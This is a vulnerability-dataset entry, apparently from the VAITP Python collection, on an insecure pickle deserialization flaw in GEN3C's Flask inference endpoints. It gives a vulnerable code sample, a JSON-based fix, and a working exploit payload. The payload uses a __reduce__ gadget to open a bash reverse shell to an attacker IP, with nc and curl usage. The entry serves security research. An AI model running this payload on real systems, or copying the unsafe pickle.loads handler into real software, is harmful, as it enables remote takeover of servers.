VAITP Dataset

← Back to the dataset

CVE-2026-53805

Unauthenticated RCE in NVIDIA GEN3C via insecure pickle deserialization.

  • CVSS 9.3
  • CWE-502
  • Input Validation and Sanitization
  • Remote

NVIDIA Spatial Intelligence Lab's (SIL) GEN3C contains an unauthenticated remote code execution vulnerability in the inference API server where the /request-inference and /seed-model endpoints deserialize raw HTTP request bodies using Python's pickle.loads() without authentication or input validation. Attackers can supply a crafted payload containing a __reduce__ gadget to the inference API port to achieve remote code execution as the inference process.

CVSS base score
9.3
Published
2026-06-17
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
pickle
Fixed by upgrading
Yes

Solution

The GEN3C project is archived and no longer maintained; no patch is available. Users should stop using the software and migrate to an alternative.

Vulnerable code sample

from flask import Flask, request
import pickle

app = Flask(__name__)

@app.route('/request-inference', methods=['POST'])
def request_inference():
    # Vulnerable: Deserializes raw request body without authentication or validation.
    deserialized_payload = pickle.loads(request.data)
    # In a real app, this might be passed to a model.
    print(f"Processing payload: {deserialized_payload}")
    return "Inference request processed.", 200

@app.route('/seed-model', methods=['POST'])
def seed_model():
    # Vulnerable: Deserializes raw request body without authentication or validation.
    model_data = pickle.loads(request.data)
    # In a real app, this would be used to load model weights/config.
    print(f"Seeding model with data: {model_data}")
    return "Model seeded successfully.", 200

if __name__ == '__main__':
    # The server is exposed to the network on port 5000.
    app.run(host='0.0.0.0', port=5000)

Patched code sample

from flask import Flask, request, jsonify

app = Flask(__name__)

# This fixed version of the server endpoints uses JSON, a safe data
# interchange format, for deserializing the request body. This prevents
# arbitrary code execution that is possible with unsafe formats like pickle.

@app.route('/request-inference', methods=['POST'])
def request_inference():
    """
    Safely handles an inference request using JSON.
    This represents a fix for the pickle deserialization vulnerability.
    """
    try:
        # FIX: Use JSON, a safe data interchange format, instead of pickle.
        # Flask's request.get_json() handles the deserialization safely.
        inference_data = request.get_json()

        # Perform input validation on the received data.
        if not inference_data or 'input' not in inference_data:
            return jsonify({"error": "Missing 'input' field in request"}), 400

        # --- Placeholder for actual inference logic ---
        # The validated 'inference_data' can now be safely used.
        result = {"prediction": f"Processed input: {inference_data['input']}"}
        # --- End of placeholder ---

        return jsonify(result), 200

    except Exception as e:
        # Handles malformed JSON or other processing errors.
        return jsonify({"error": f"An error occurred: {str(e)}"}), 500


@app.route('/seed-model', methods=['POST'])
def seed_model():
    """
    Safely seeds a model using JSON for data interchange.
    This represents a fix for deserializing untrusted data.
    """
    try:
        # FIX: Use a safe serialization format like JSON instead of pickle.
        # request.get_json() safely parses the incoming JSON data.
        data = request.get_json()

        # Basic input validation.
        if not data or 'model_name' not in data or 'model_data' not in data:
            return jsonify({"error": "Invalid model data provided"}), 400

        # --- Placeholder for model seeding logic ---
        print(f"Seeding model '{data['model_name']}'...")
        # --- End of placeholder ---

        return jsonify({"status": "Model seeded successfully", "model": data['model_name']}), 200

    except Exception as e:
        # Catch potential parsing errors or other issues.
        return jsonify({"error": f"An error occurred: {str(e)}"}), 500


if __name__ == '__main__':
    # For demonstration purposes only. Use a production WSGI server in a real environment.
    app.run(host='0.0.0.0', port=8080)

Payload

import pickle
import os

class RCE:
    def __reduce__(self):
        # The command will be executed on the target system.
        # Replace 10.10.10.10 with the attacker's IP and 4444 with the attacker's listening port.
        cmd = "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"
        return (os.system, (cmd,))

# This will generate the byte stream to be used as the raw request body.
payload = pickle.dumps(RCE())

# To use this, start a listener on your machine (e.g., nc -lvnp 4444)
# and send the 'payload' bytes as the raw body of a POST request
# to http://<target-ip>:<target-port>/request-inference or /seed-model.
# For example, using curl:
# python -c 'import pickle; import os; class RCE: ...; print(pickle.dumps(RCE()))' | curl http://<target-ip>:<target-port>/request-inference --data-binary @-

Cite this entry

@misc{vaitp:cve202653805,
  title        = {{Unauthenticated RCE in NVIDIA GEN3C via insecure pickle deserialization.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-53805},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-53805/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::